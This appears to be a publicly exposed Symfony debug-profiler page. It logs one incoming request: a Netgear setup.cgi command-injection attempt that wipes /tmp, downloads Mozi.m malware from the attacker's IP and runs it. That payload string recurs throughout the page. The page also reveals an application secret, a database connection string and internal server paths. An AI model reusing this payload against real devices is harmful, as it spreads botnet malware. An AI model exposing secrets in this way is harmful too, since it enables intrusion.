http://_/setup.cgi?cmd=rm%20-rf%20%2Ftmp%2F%2A%3Bwget%20http%3A%2F%2F175.107.37.189%3A57475%2FMozi.m%20-O%20%2Ftmp%2Fnetgear%3Bsh%20netgear&curpath=%2F&currentsetting.htm=1&next_file=netgear.cfg&todo=syscmd

Method
GET
HTTP Status
302
IP
175.107.37.189
Profiled on
Token
cd66cc

n/a

Request

GET Parameters

Key Value
cmd 
"rm -rf /tmp/*;wget http://175.107.37.189:57475/Mozi.m -O /tmp/netgear;sh netgear"
curpath 
"/"
currentsetting_htm 
"1"
next_file 
"netgear.cfg"
todo 
"syscmd"

POST Parameters

No POST parameters

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_stopwatch_token 
"b98260"

Request Headers

Header Value
x-php-ob-level 
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"private, must-revalidate"
content-type 
"text/html; charset=utf-8"
date 
"Thu, 31 Oct 2024 19:33:05 GMT"
expires 
-1
location 
"http://www._/setup.cgi?cmd=rm%20-rf%20%2Ftmp%2F%2A%3Bwget%20http%3A%2F%2F175.107.37.189%3A57475%2FMozi.m%20-O%20%2Ftmp%2Fnetgear%3Bsh%20netgear&curpath=%2F&currentsetting.htm=1&next_file=netgear.cfg&todo=syscmd"
pragma 
"no-cache"
x-debug-token 
"cd66cc"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_SECRET 
"0468dc9487509ad162025c82176e60a9"
CORS_ALLOW_ORIGIN 
"^https?://(localhost|127\.0\.0\.1)(:[0-9]+)?$"
DATABASE_URL 
"postgresql://app:!ChangeMe!@127.0.0.1:5432/db_name?serverVersion=16&charset=utf8"
EWZ_RECAPTCHA_SECRET 
""
EWZ_RECAPTCHA_SITE_KEY 
""
GOOGLE_RECAPTCHA_SECRET 
""
GOOGLE_RECAPTCHA_SITE_KEY 
""
JWT_PASSPHRASE 
""
JWT_PUBLIC_KEY 
"%kernel.project_dir%/config/jwt/public.pem"
JWT_SECRET_KEY 
"%kernel.project_dir%/config/jwt/private.pem"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
APP_ENV 
"test"
CONTENT_LENGTH 
""
CONTENT_TYPE 
""
DOCUMENT_ROOT 
"/var/www/campussuite/public"
DOCUMENT_URI 
"/index.php"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/usr/share/httpd"
PATH 
"/usr/local/nvm/versions/node/v4.2.6/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
"next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175.107.37.189:57475/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1"
REDIRECT_STATUS 
"200"
REMOTE_ADDR 
"175.107.37.189"
REMOTE_PORT 
"34193"
REQUEST_METHOD 
"GET"
REQUEST_SCHEME 
"http"
REQUEST_TIME 
1730403185
REQUEST_TIME_FLOAT 
1730403185.8772
REQUEST_URI 
"/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175.107.37.189:57475/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1"
SCRIPT_FILENAME 
"/var/www/campussuite/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"10.1.51.189"
SERVER_NAME 
"_"
SERVER_PORT 
"80"
SERVER_PROTOCOL 
"HTTP/1.0"
SERVER_SOFTWARE 
"nginx/1.22.1"
SYMFONY_DOTENV_VARS 
"DATABASE_URL,GOOGLE_RECAPTCHA_SITE_KEY,GOOGLE_RECAPTCHA_SECRET,EWZ_RECAPTCHA_SITE_KEY,EWZ_RECAPTCHA_SECRET,CORS_ALLOW_ORIGIN,APP_SECRET,JWT_SECRET_KEY,JWT_PUBLIC_KEY,JWT_PASSPHRASE"
USER 
"apache"